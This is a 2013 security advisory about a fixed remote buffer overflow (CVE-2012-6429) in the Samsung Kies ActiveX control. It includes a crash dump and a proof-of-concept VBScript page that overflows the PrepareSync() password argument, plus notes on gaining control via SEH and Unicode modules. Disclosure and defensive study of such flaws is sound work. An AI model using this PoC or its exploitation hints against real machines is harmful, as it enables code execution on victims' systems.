Post Fri Jan 11, 2013 2:26 pm

HTB23136: Remote Buffer Overflow Vulnerability in Samsung Kies

Advisory ID: HTB23136
Product: Samsung Kies
Vendor: Samsung Electronics
Vulnerable Versions: 2.5.0.12114_1
Tested Version: 2.5.0.12114_1 on Windows 7 SP1 and Internet Explorer 9.0
Vendor Notification: December 19, 2012
Vendor Fix: December 27, 2012
Public Disclosure: January 9, 2013
Vulnerability Type: Buffer Errors [CWE-119]
CVE Reference: CVE-2012-6429
CVSSv2 Base Score: 9.3 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Risk Level: Critical
Discovered and Provided: High-Tech Bridge Security Research Lab


Advisory Details:
High-Tech Bridge Security Research Lab has discovered buffer overflow vulnerability in Samsung Kies, which can be exploited to execute arbitrary code on vulnerable system.

1) Buffer overflow in Samsung Kies: CVE-2012-6429
The vulnerability exists due to insufficient sanitisation of input data in the PrepareSync() method within the ActiveX control SyncService.dll, GUID { EA8A3985-F9DF-4652-A255-E4E7772AFCA8 }, located by default in "C:\Program Files\Samsung\Kies\External\DeviceModules\SyncService.dll".
A remote attacker can pass an arbitrary value to the "password" argument of the PrepareSync() method and trigger an ACCESS_VIOLATION exception, which could be exploited to successfully overwrite the EIP register and the SEH structure.
Taking into consideration the Unicode Format nature of this vulnerability,
an attacker should rely on a predictable Unicode module loaded at crash time
in order to efficiently exploit the vulnerability.

Crash details:
(9b4.720): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00410041 edx=771b71ad esi=00000000 edi=00000000
eip=00410041 esp=001fe2d0 ebp=001fe2f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
00410041 ?? ???

The following PoC (Proof-of-concept) code demonstrates buffer overflow vulnerability:
<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
<head>
<title>Remote Buffer Overflow Vulnerability in Samsung Kies v. 2.5.0.12114_1 </title>
</head>
<script language='vbscript'>
Sub PoC()
arg1="defaultV"
arg2=String(14356, "A")
arg3=1
arg4=1
Target.PrepareSync arg1 ,arg2 ,arg3 ,arg4
End Sub
</script>
<body>
<h3>Remote Buffer Overflow Vulnerability in Samsung Kies by High-Tech Bridge Security Research Lab</h3>
<input language=VBScript onclick=PoC() type=button value="Proof of Concept">
</body>
<object classid='clsid:EA8A3985-F9DF-4652-A255-E4E7772AFCA8'id='Target'></object>
</html>

Solution:
Vulnerability is fixed by vendor in version 2.5.1.12123_2_7
Download it at http://www.samsung.com/kies


References:
[1] High-Tech Bridge Advisory HTB23136 - https://www.htbridge.com/advisory/HTB23136 - Remote Buffer Overflow Vulnerability in Samsung Kies
[2] Samsung Kies - _http://www.samsung.com/ca/support/usefulsoftware/KIES/JSP - Samsung Kies is a freeware software application used to communicate between Windows or Macintosh computers, and more recently-manufactured Samsung mobile phone and tablet computer devices. Kies is Samsung's official tool for Android based devices which allow synchronization and multimedia files management.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.